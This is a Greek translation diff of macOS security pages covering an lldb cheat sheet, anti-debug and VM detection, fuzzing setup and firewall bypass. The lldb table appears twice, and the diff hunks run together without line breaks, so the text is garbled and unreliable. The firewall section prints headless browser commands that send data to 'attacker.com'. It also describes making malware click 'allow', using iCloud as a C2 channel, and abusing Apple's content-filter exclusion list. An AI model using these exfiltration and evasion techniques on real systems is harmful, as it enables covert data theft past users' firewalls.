stepi (s / si)Εκτελεί την επόμενη εντολή. Σε αντίθεση με την εντολή nexti, αυτή η εντολή θα εισέλθει στις κλήσεις συναρτήσεων.
finish (f)Εκτελεί τις υπόλοιπες εντολές στην τρέχουσα συνάρτηση (“frame”) και επιστρέφει και σταματά.
control + cΠαύει την εκτέλεση. Εάν η διαδικασία έχει εκτελεστεί (r) ή συνεχιστεί (c), αυτό θα προκαλέσει την παύση της διαδικασίας ...όπου κι αν εκτελείται αυτή τη στιγμή.
breakpoint (b)

b main #Οποιαδήποτε συνάρτηση ονομάζεται main

b `main #Κύρια συνάρτηση του bin

b set -n main --shlib #Κύρια συνάρτηση του υποδεικνυόμενου bin

breakpoint set -r '\[NSFileManager .*\]$' #Οποιαδήποτε μέθοδος NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Σπάσιμο σε όλες τις συναρτήσεις αυτής της βιβλιοθήκης

b -a 0x0000000100004bd9

br l #Λίστα breakpoint

br e/dis #Ενεργοποίηση/Απενεργοποίηση breakpoint

breakpoint delete

help

help breakpoint #Λάβετε βοήθεια για την εντολή breakpoint

help memory write #Λάβετε βοήθεια για να γράψετε στη μνήμη

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s Εμφανίζει τη μνήμη ως μια null-terminated συμβολοσειρά.
x/i Εμφανίζει τη μνήμη ως εντολή assembly.
x/b Εμφανίζει τη μνήμη ως byte.
print object (po)

Αυτό θα εκτυπώσει το αντικείμενο που αναφέρεται από την παράμετρο

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Σημειώστε ότι οι περισσότερες από τις APIs ή μεθόδους Objective-C της Apple επιστρέφουν αντικείμενα, και επομένως θα πρέπει να εμφανίζονται μέσω της εντολής “print object” (po). Εάν το po δεν παράγει μια ουσιαστική έξοδο, χρησιμοποιήστε x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Γράψτε AAAA σε αυτή τη διεύθυνση
memory write -f s $rip+0x11f+7 "AAAA" #Γράψτε AAAA στη διεύθυνση
disassembly

dis #Αποσυναρμολόγηση της τρέχουσας συνάρτησης

dis -n #Αποσυναρμολόγηση της συνάρτησης

dis -n -b #Αποσυναρμολόγηση της συνάρτησης
dis -c 6 #Αποσυναρμολόγηση 6 γραμμών
dis -c 0x100003764 -e 0x100003768 # Από μία προσθήκη μέχρι την άλλη
dis -p -c 4 # Ξεκινήστε στην τρέχουσα διεύθυνση αποσυναρμολόγησης

parrayparray 3 (char **)$x1 # Ελέγξτε τον πίνακα 3 στοιχείων στο x1 reg
image dump sectionsΕκτυπώνει το χάρτη της μνήμης της τρέχουσας διαδικασίας
image dump symtab image dump symtab CoreNLP #Λάβετε τη διεύθυνση όλων των συμβόλων από το CoreNLP
+
(lldb) ΕντολήΠεριγραφή
run (r)Ξεκινά την εκτέλεση, η οποία θα συνεχιστεί αδιάκοπα μέχρι να χτυπήσει ένα breakpoint ή να τερματιστεί η διαδικασία.
process launch --stop-at-entryΞεκινά την εκτέλεση σταματώντας στο σημείο εισόδου
continue (c)Συνεχίζει την εκτέλεση της διαδικασίας που αποσφαλματώνεται.
nexti (n / ni)Εκτελεί την επόμενη εντολή. Αυτή η εντολή θα παραλείψει τις κλήσεις συναρτήσεων.
stepi (s / si)Εκτελεί την επόμενη εντολή. Σε αντίθεση με την εντολή nexti, αυτή η εντολή θα εισέλθει στις κλήσεις συναρτήσεων.
finish (f)Εκτελεί τις υπόλοιπες εντολές στην τρέχουσα συνάρτηση (“frame”) και επιστρέφει και σταματά.
control + cΠαύει την εκτέλεση. Εάν η διαδικασία έχει εκτελεστεί (r) ή συνεχιστεί (c), αυτό θα προκαλέσει την παύση της διαδικασίας ...όπου κι αν εκτελείται αυτή τη στιγμή.
breakpoint (b)

b main #Οποιαδήποτε συνάρτηση ονομάζεται main

b `main #Κύρια συνάρτηση του bin

b set -n main --shlib #Κύρια συνάρτηση του υποδεικνυόμενου bin

breakpoint set -r '\[NSFileManager .*\]$' #Οποιαδήποτε μέθοδος NSFileManager

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib # Σπάσιμο σε όλες τις συναρτήσεις αυτής της βιβλιοθήκης

b -a 0x0000000100004bd9

br l #Λίστα breakpoint

br e/dis #Ενεργοποίηση/Απενεργοποίηση breakpoint

breakpoint delete

help

help breakpoint #Λάβετε βοήθεια για την εντολή breakpoint

help memory write #Λάβετε βοήθεια για να γράψετε στη μνήμη

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s Εμφανίζει τη μνήμη ως μια null-terminated συμβολοσειρά.
x/i Εμφανίζει τη μνήμη ως εντολή assembly.
x/b Εμφανίζει τη μνήμη ως byte.
print object (po)

Αυτό θα εκτυπώσει το αντικείμενο που αναφέρεται από την παράμετρο

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

Σημειώστε ότι οι περισσότερες από τις APIs ή μεθόδους Objective-C της Apple επιστρέφουν αντικείμενα, και επομένως θα πρέπει να εμφανίζονται μέσω της εντολής “print object” (po). Εάν το po δεν παράγει μια ουσιαστική έξοδο, χρησιμοποιήστε x/b

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #Γράψτε AAAA σε αυτή τη διεύθυνση
memory write -f s $rip+0x11f+7 "AAAA" #Γράψτε AAAA στη διεύθυνση
disassembly

dis #Διαχωρισμός τρέχουσας συνάρτησης

dis -n #Διαχωρισμός συνάρτησης

dis -n -b #Διαχωρισμός συνάρτησης
dis -c 6 #Διαχωρισμός 6 γραμμών
dis -c 0x100003764 -e 0x100003768 # Από μία προσθήκη μέχρι την άλλη
dis -p -c 4 # Ξεκινήστε στη τρέχουσα διεύθυνση διαχωρίζοντας

parrayparray 3 (char **)$x1 # Ελέγξτε τον πίνακα 3 στοιχείων στο x1 reg
image dump sectionsΕκτυπώνει το χάρτη της μνήμης της τρέχουσας διαδικασίας
image dump symtab image dump symtab CoreNLP #Λάβετε τη διεύθυνση όλων των συμβόλων από το CoreNLP
-> [!NOTE] -> Όταν καλείτε τη συνάρτηση **`objc_sendMsg`**, το **rsi** register περιέχει το **όνομα της μεθόδου** ως μια null-terminated (“C”) συμβολοσειρά. Για να εκτυπώσετε το όνομα μέσω του lldb κάντε: +> [!TIP] +> Όταν καλείτε τη συνάρτηση **`objc_sendMsg`**, το **rsi** καταχωρητής περιέχει το **όνομα της μεθόδου** ως μια null-terminated (“C”) συμβολοσειρά. Για να εκτυπώσετε το όνομα μέσω lldb κάντε: > > `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` > @@ -454,14 +454,14 @@ settings set target.x86-disassembly-flavor intel #### Ανίχνευση VM -- Η εντολή **`sysctl hw.model`** επιστρέφει "Mac" όταν ο **host είναι MacOS** αλλά κάτι διαφορετικό όταν είναι VM. +- Η εντολή **`sysctl hw.model`** επιστρέφει "Mac" όταν ο **φιλοξενούμενος είναι MacOS** αλλά κάτι διαφορετικό όταν είναι VM. - Παίζοντας με τις τιμές των **`hw.logicalcpu`** και **`hw.physicalcpu`** ορισμένα κακόβουλα λογισμικά προσπαθούν να ανιχνεύσουν αν είναι VM. - Ορισμένα κακόβουλα λογισμικά μπορούν επίσης να **ανιχνεύσουν** αν η μηχανή είναι **VMware** με βάση τη διεύθυνση MAC (00:50:56). - Είναι επίσης δυνατό να βρείτε **αν μια διαδικασία αποσφαλματώνεται** με έναν απλό κώδικα όπως: - `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //η διαδικασία αποσφαλματώνεται }` - Μπορεί επίσης να καλέσει την κλήση συστήματος **`ptrace`** με τη σημαία **`PT_DENY_ATTACH`**. Αυτό **αποτρέπει** έναν αποσφαλματωτή από το να συνδεθεί και να παρακολουθήσει. - Μπορείτε να ελέγξετε αν η λειτουργία **`sysctl`** ή **`ptrace`** εισάγεται (αλλά το κακόβουλο λογισμικό θα μπορούσε να την εισάγει δυναμικά) -- Όπως σημειώνεται σε αυτή την αναφορά, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ +- Όπως σημειώνεται σε αυτή τη γραφή, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\ “_Το μήνυμα Process # exited with **status = 45 (0x0000002d)** είναι συνήθως ένα προειδοποιητικό σημάδι ότι ο στόχος αποσφαλμάτωσης χρησιμοποιεί **PT_DENY_ATTACH**_” ## Core Dumps @@ -469,7 +469,7 @@ settings set target.x86-disassembly-flavor intel Οι core dumps δημιουργούνται αν: - `kern.coredump` sysctl είναι ρυθμισμένο σε 1 (κατά προεπιλογή) -- Εάν η διαδικασία δεν ήταν suid/sgid ή `kern.sugid_coredump` είναι 1 (κατά προεπιλογή είναι 0) +- Αν η διαδικασία δεν ήταν suid/sgid ή `kern.sugid_coredump` είναι 1 (κατά προεπιλογή είναι 0) - Ο περιορισμός `AS_CORE` επιτρέπει τη λειτουργία. Είναι δυνατό να καταστείλετε τη δημιουργία core dumps καλώντας `ulimit -c 0` και να τις επανενεργοποιήσετε με `ulimit -c unlimited`. Σε αυτές τις περιπτώσεις, οι core dumps δημιουργούνται σύμφωνα με το `kern.corefile` sysctl και αποθηκεύονται συνήθως στο `/cores/core/.%P`. @@ -478,11 +478,11 @@ settings set target.x86-disassembly-flavor intel ### [ReportCrash](https://ss64.com/osx/reportcrash.html) -Το ReportCrash **αναλύει τις διαδικασίες που καταρρέουν και αποθηκεύει μια αναφορά σφάλματος στο δίσκο**. Μια αναφορά σφάλματος περιέχει πληροφορίες που μπορούν να **βοηθήσουν έναν προγραμματιστή να διαγνώσει** την αιτία μιας κατάρρευσης.\ -Για εφαρμογές και άλλες διαδικασίες **που εκτελούνται στο πλαίσιο launchd ανά χρήστη**, το ReportCrash εκτελείται ως LaunchAgent και αποθηκεύει τις αναφορές σφαλμάτων στους `~/Library/Logs/DiagnosticReports/` του χρήστη.\ -Για δαίμονες, άλλες διαδικασίες **που εκτελούνται στο πλαίσιο launchd του συστήματος** και άλλες προνομιούχες διαδικασίες, το ReportCrash εκτελείται ως LaunchDaemon και αποθηκεύει τις αναφορές σφαλμάτων στα `/Library/Logs/DiagnosticReports` του συστήματος. +Το ReportCrash **αναλύει τις διαδικασίες που καταρρέουν και αποθηκεύει μια αναφορά σφάλματος στο δίσκο**. Μια αναφορά σφάλματος περιέχει πληροφορίες που μπορούν να **βοηθήσουν έναν προγραμματιστή να διαγνώσει** την αιτία ενός σφάλματος.\ +Για εφαρμογές και άλλες διαδικασίες **που εκτελούνται στο πλαίσιο launchd ανά χρήστη**, το ReportCrash εκτελείται ως LaunchAgent και αποθηκεύει τις αναφορές σφαλμάτων στα `~/Library/Logs/DiagnosticReports/` του χρήστη.\ +Για δαίμονες, άλλες διαδικασίες **που εκτελούνται στο πλαίσιο launchd του συστήματος** και άλλες προνομιακές διαδικασίες, το ReportCrash εκτελείται ως LaunchDaemon και αποθηκεύει τις αναφορές σφαλμάτων στα `/Library/Logs/DiagnosticReports` του συστήματος. -Εάν ανησυχείτε για τις αναφορές σφαλμάτων **που αποστέλλονται στην Apple**, μπορείτε να τις απενεργοποιήσετε. Αν όχι, οι αναφορές σφαλμάτων μπορεί να είναι χρήσιμες για **να καταλάβετε πώς κατέρρευσε ένας διακομιστής**. +Αν ανησυχείτε για τις αναφορές σφαλμάτων **που αποστέλλονται στην Apple**, μπορείτε να τις απενεργοποιήσετε. Αν όχι, οι αναφορές σφαλμάτων μπορεί να είναι χρήσιμες για να **καταλάβετε πώς κατέρρευσε ένας διακομιστής**. ```bash #To disable crash reporting: launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist @@ -497,12 +497,12 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root. Κατά τη διάρκεια του fuzzing σε MacOS, είναι σημαντικό να μην επιτρέπετε στον Mac να κοιμηθεί: - systemsetup -setsleep Never -- pmset, System Preferences +- pmset, Προτιμήσεις Συστήματος - [KeepingYouAwake](https://github.com/newmarcel/KeepingYouAwake) #### Αποσύνδεση SSH -Εάν κάνετε fuzzing μέσω σύνδεσης SSH, είναι σημαντικό να βεβαιωθείτε ότι η συνεδρία δεν θα αποσυνδεθεί. Έτσι, αλλάξτε το αρχείο sshd_config με: +Εάν κάνετε fuzzing μέσω σύνδεσης SSH, είναι σημαντικό να διασφαλίσετε ότι η συνεδρία δεν θα αποσυνδεθεί. Έτσι, αλλάξτε το αρχείο sshd_config με: - TCPKeepAlive Yes - ClientAliveInterval 0 @@ -511,7 +511,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root. sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` -### Internal Handlers +### Εσωτερικοί Διαχειριστές **Δείτε την παρακάτω σελίδα** για να μάθετε πώς μπορείτε να βρείτε ποια εφαρμογή είναι υπεύθυνη για **τη διαχείριση του καθορισμένου σχήματος ή πρωτοκόλλου:** @@ -519,7 +519,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ../macos-file-extension-apps.md {{#endref}} -### Enumerating Network Processes +### Αριθμητική Διαδικασιών Δικτύου Αυτό είναι ενδιαφέρον για να βρείτε διαδικασίες που διαχειρίζονται δεδομένα δικτύου: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 401d2c0eb..6dc6f5fd8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -14,13 +14,13 @@ - Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο επιτρέπω** -### **Χρησιμοποιήστε υπογεγραμμένα δυαδικά αρχεία της Apple** +### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple** - Όπως **`curl`**, αλλά και άλλα όπως **`whois`** ### Γνωστά domains της Apple -Το firewall θα μπορούσε να επιτρέπει συνδέσεις σε γνωστά domains της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2. +Το firewall μπορεί να επιτρέπει συνδέσεις σε γνωστά domains της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2. ### Γενική Παράκαμψη @@ -53,7 +53,7 @@ end tell ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` -- Φοίνιξ +- Φοίνικας ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` @@ -65,6 +65,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil" Αν μπορείτε να **εισάγετε κώδικα σε μια διαδικασία** που επιτρέπεται να συνδεθεί σε οποιονδήποτε διακομιστή, θα μπορούσατε να παρακάμψετε τις προστασίες του τείχους προστασίας: + {{#ref}} macos-proces-abuse/ {{#endref}} @@ -84,7 +85,7 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time ``` ### Bug στην παραγγελία κανόνων του Packet Filter (PF) σε πρώιμο macOS 14 “Sonoma” Κατά τη διάρκεια του beta κύκλου του macOS 14, η Apple εισήγαγε μια αναστροφή στο wrapper του userspace γύρω από **`pfctl`**. -Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές VPN kill-switches) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το bug επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344). +Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές kill-switches VPN) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το σφάλμα επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344). Γρήγορος έλεγχος διαρροής: ```bash @@ -92,8 +93,8 @@ pfctl -sr | grep quick # rules are present… sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface ``` ### Κατάχρηση υπηρεσιών βοηθού υπογεγραμμένων από την Apple (παλαιά – προ-macOS 11.2) -Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.). -Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια διαδικασία που εξαιρείται—ή να εισάγει κώδικα σε αυτήν—και να σήκώσει τη δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν. +Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά αρχεία της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.). +Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια εξαιρεθείσα διαδικασία—ή να εισάγει κώδικα σε αυτήν—και να σήρα την δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν. Παράδειγμα απόδειξης της έννοιας (προ-11.2): ```python @@ -118,7 +119,7 @@ codesign -d --entitlements :- /path/to/bin 2>/dev/null \ | plutil -extract com.apple.security.network.client xml1 -o - - ``` 3. Προγραμματικά καταχωρίστε το δικό σας φίλτρο περιεχομένου Network Extension σε Objective-C/Swift. -Μια ελάχιστη rootless PoC που προωθεί πακέτα σε ένα τοπικό socket είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle. +Μια ελάχιστη rootless PoC που προωθεί πακέτα σε τοπική υποδοχή είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle. ## Αναφορές diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 42c3a3c6e..22492220a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -10,15 +10,15 @@ - **/dev**: Όλα αντιμετωπίζονται ως αρχεία, οπότε μπορεί να δείτε υλικοτεχνικές συσκευές αποθηκευμένες εδώ. - **/etc**: Αρχεία ρυθμίσεων - **/Library**: Πολλοί υποφάκελοι και αρχεία που σχετίζονται με προτιμήσεις, cache και logs μπορούν να βρεθούν εδώ. Ένας φάκελος Library υπάρχει στη ρίζα και στον κατάλογο κάθε χρήστη. -- **/private**: Μη τεκμηριωμένο αλλά πολλοί από τους αναφερόμενους φακέλους είναι συμβολικοί σύνδεσμοι προς τον ιδιωτικό κατάλογο. +- **/private**: Μη τεκμηριωμένο, αλλά πολλοί από τους αναφερόμενους φακέλους είναι συμβολικοί σύνδεσμοι προς τον ιδιωτικό κατάλογο. - **/sbin**: Βασικά συστήματα δυαδικών αρχείων (σχετικά με τη διαχείριση) - **/System**: Αρχεία για την εκτέλεση του OS X. Θα βρείτε κυρίως μόνο αρχεία που σχετίζονται με την Apple εδώ (όχι τρίτων). - **/tmp**: Τα αρχεία διαγράφονται μετά από 3 ημέρες (είναι ένας μαλακός σύνδεσμος προς /private/tmp) - **/Users**: Κατάλογος αρχικής για τους χρήστες. -- **/usr**: Ρυθμίσεις και δυαδικά αρχεία συστήματος +- **/usr**: Ρυθμίσεις και συστήματα δυαδικών αρχείων - **/var**: Αρχεία καταγραφής - **/Volumes**: Οι προσαρτημένοι δίσκοι θα εμφανίζονται εδώ. -- **/.vol**: Εκτελώντας `stat a.txt` αποκτάτε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου ο πρώτος αριθμός είναι ο αριθμός ταυτότητας του τόμου όπου υπάρχει το αρχείο και ο δεύτερος είναι ο αριθμός inode. Μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753` +- **/.vol**: Εκτελώντας `stat a.txt` αποκτάτε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου ο πρώτος αριθμός είναι ο αριθμός ταυτότητας του τόμου όπου υπάρχει το αρχείο και ο δεύτερος είναι ο αριθμός inode. Μπορείτε να αποκτήσετε το περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753` ### Φάκελοι Εφαρμογών @@ -26,14 +26,14 @@ - **Εγκατεστημένες** εφαρμογές συνήθως εγκαθίστανται σε `/Applications` ή σε `~/Applications` - **Δεδομένα εφαρμογών** μπορούν να βρεθούν σε `/Library/Application Support` για τις εφαρμογές που εκτελούνται ως root και `~/Library/Application Support` για τις εφαρμογές που εκτελούνται ως χρήστης. - Οι **daemons** τρίτων που **χρειάζονται να εκτελούνται ως root** συνήθως βρίσκονται σε `/Library/PrivilegedHelperTools/` -- Οι **Sandboxed** εφαρμογές είναι χαρτογραφημένες στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει έναν φάκελο ονομασμένο σύμφωνα με το ID του bundle της εφαρμογής (`com.apple.Safari`). +- Οι **Sandboxed** εφαρμογές είναι χαρτογραφημένες στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει έναν φάκελο ονομασμένο σύμφωνα με το ID bundle της εφαρμογής (`com.apple.Safari`). - Ο **kernel** βρίσκεται σε `/System/Library/Kernels/kernel` - Οι **επέκταση πυρήνα της Apple** βρίσκονται σε `/System/Library/Extensions` - Οι **επέκταση πυρήνα τρίτων** αποθηκεύονται σε `/Library/Extensions` ### Αρχεία με Ευαίσθητες Πληροφορίες -Το macOS αποθηκεύει πληροφορίες όπως κωδικούς πρόσβασης σε πολλές θέσεις: +Το macOS αποθηκεύει πληροφορίες όπως κωδικούς πρόσβασης σε πολλές τοποθεσίες: {{#ref}} macos-sensitive-locations.md @@ -58,12 +58,12 @@ macos-installers-abuse.md - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` - **`.app`**: Εφαρμογές της Apple που ακολουθούν τη δομή καταλόγου (είναι ένα bundle). - **`.dylib`**: Δυναμικές βιβλιοθήκες (όπως τα αρχεία DLL των Windows) -- **`.pkg`**: Είναι τα ίδια με το xar (eXtensible Archive format). Η εντολή εγκατάστασης μπορεί να χρησιμοποιηθεί για την εγκατάσταση των περιεχομένων αυτών των αρχείων. +- **`.pkg`**: Είναι τα ίδια με το xar (eXtensible Archive format). Η εντολή εγκατάστασης μπορεί να χρησιμοποιηθεί για να εγκαταστήσει τα περιεχόμενα αυτών των αρχείων. - **`.DS_Store`**: Αυτό το αρχείο βρίσκεται σε κάθε κατάλογο, αποθηκεύει τα χαρακτηριστικά και τις προσαρμογές του καταλόγου. - **`.Spotlight-V100`**: Αυτός ο φάκελος εμφανίζεται στον ριζικό κατάλογο κάθε τόμου στο σύστημα. - **`.metadata_never_index`**: Αν αυτό το αρχείο βρίσκεται στη ρίζα ενός τόμου, το Spotlight δεν θα ευρετηριάσει αυτόν τον τόμο. - **`.noindex`**: Αρχεία και φάκελοι με αυτήν την επέκταση δεν θα ευρετηριαστούν από το Spotlight. -- **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατόν να αλληλεπιδράσετε με την εφαρμογή από ένα AppleScript. +- **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατό να αλληλεπιδράσετε με την εφαρμογή από ένα AppleScript. ### macOS Bundles @@ -100,13 +100,13 @@ dyldex_all [dyld_shared_cache_path] # Extract all Ορισμένοι extractor δεν θα λειτουργήσουν καθώς οι dylibs είναι προ-συνδεδεμένες με σκληρά κωδικοποιημένες διευθύνσεις και επομένως μπορεί να πηδούν σε άγνωστες διευθύνσεις. > [!TIP] -> Είναι επίσης δυνατό να κατεβάσετε την Shared Library Cache άλλων \*OS συσκευών στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατεβούν μέσα: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, όπως: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` +> Είναι επίσης δυνατό να κατεβάσετε την Shared Library Cache άλλων συσκευών \*OS στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατεβούν μέσα: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, όπως: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` ### Mapping SLC **`dyld`** χρησιμοποιεί την syscall **`shared_region_check_np`** για να γνωρίζει αν το SLC έχει χαρτογραφηθεί (το οποίο επιστρέφει τη διεύθυνση) και **`shared_region_map_and_slide_np`** για να χαρτογραφήσει το SLC. -Σημειώστε ότι ακόμη και αν το SLC έχει μετατοπιστεί κατά την πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν την **ίδια αντίγραφο**, το οποίο **εξαλείφει την προστασία ASLR** αν ο επιτιθέμενος ήταν σε θέση να εκτελέσει διεργασίες στο σύστημα. Αυτό εκμεταλλεύτηκε στο παρελθόν και διορθώθηκε με τον shared region pager. +Σημειώστε ότι ακόμη και αν το SLC έχει μετατοπιστεί κατά την πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν το **ίδιο αντίγραφο**, το οποίο **εξαλείφει την προστασία ASLR** αν ο επιτιθέμενος ήταν σε θέση να εκτελέσει διεργασίες στο σύστημα. Αυτό εκμεταλλεύτηκε στο παρελθόν και διορθώθηκε με τον pager κοινής περιοχής. Τα branch pools είναι μικρές Mach-O dylibs που δημιουργούν μικρούς χώρους μεταξύ των χαρτογραφήσεων εικόνας, καθιστώντας αδύνατο να παρεμβληθούν οι λειτουργίες. @@ -114,8 +114,8 @@ dyldex_all [dyld_shared_cache_path] # Extract all Χρησιμοποιώντας τις μεταβλητές περιβάλλοντος: -- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας shared library cache -- **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με symlinks στη shared cache με τις πραγματικές (θα χρειαστεί να τις εξαγάγετε). +- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας κοινής βιβλιοθήκης cache. +- **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με symlinks στην κοινή cache με τις πραγματικές (θα χρειαστεί να τις εξαγάγετε). ## Special File Permissions @@ -134,7 +134,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all Όλες οι σημαίες μπορούν να βρεθούν στο αρχείο `sys/stat.h` (βρείτε το χρησιμοποιώντας `mdfind stat.h | grep stat.h`) και είναι: -- `UF_SETTABLE` 0x0000ffff: Μάσκα μεταβλητών που αλλάζουν από τον ιδιοκτήτη. +- `UF_SETTABLE` 0x0000ffff: Μάσκα σημαίων που μπορούν να αλλάξουν από τον ιδιοκτήτη. - `UF_NODUMP` 0x00000001: Μην εκφορτώνετε το αρχείο. - `UF_IMMUTABLE` 0x00000002: Το αρχείο δεν μπορεί να αλλάξει. - `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν. @@ -144,19 +144,19 @@ dyldex_all [dyld_shared_cache_path] # Extract all - `UF_DATAVAULT` 0x00000080: Απαιτείται δικαίωμα για ανάγνωση και εγγραφή. - `UF_HIDDEN` 0x00008000: Υπόδειξη ότι αυτό το στοιχείο δεν πρέπει να εμφανίζεται σε GUI. - `SF_SUPPORTED` 0x009f0000: Μάσκα σημαίων που υποστηρίζονται από superuser. -- `SF_SETTABLE` 0x3fff0000: Μάσκα μεταβλητών που αλλάζουν από superuser. -- `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών αναγνωρίσιμων συνθετικών σημαίων. +- `SF_SETTABLE` 0x3fff0000: Μάσκα σημαίων που μπορούν να αλλάξουν από superuser. +- 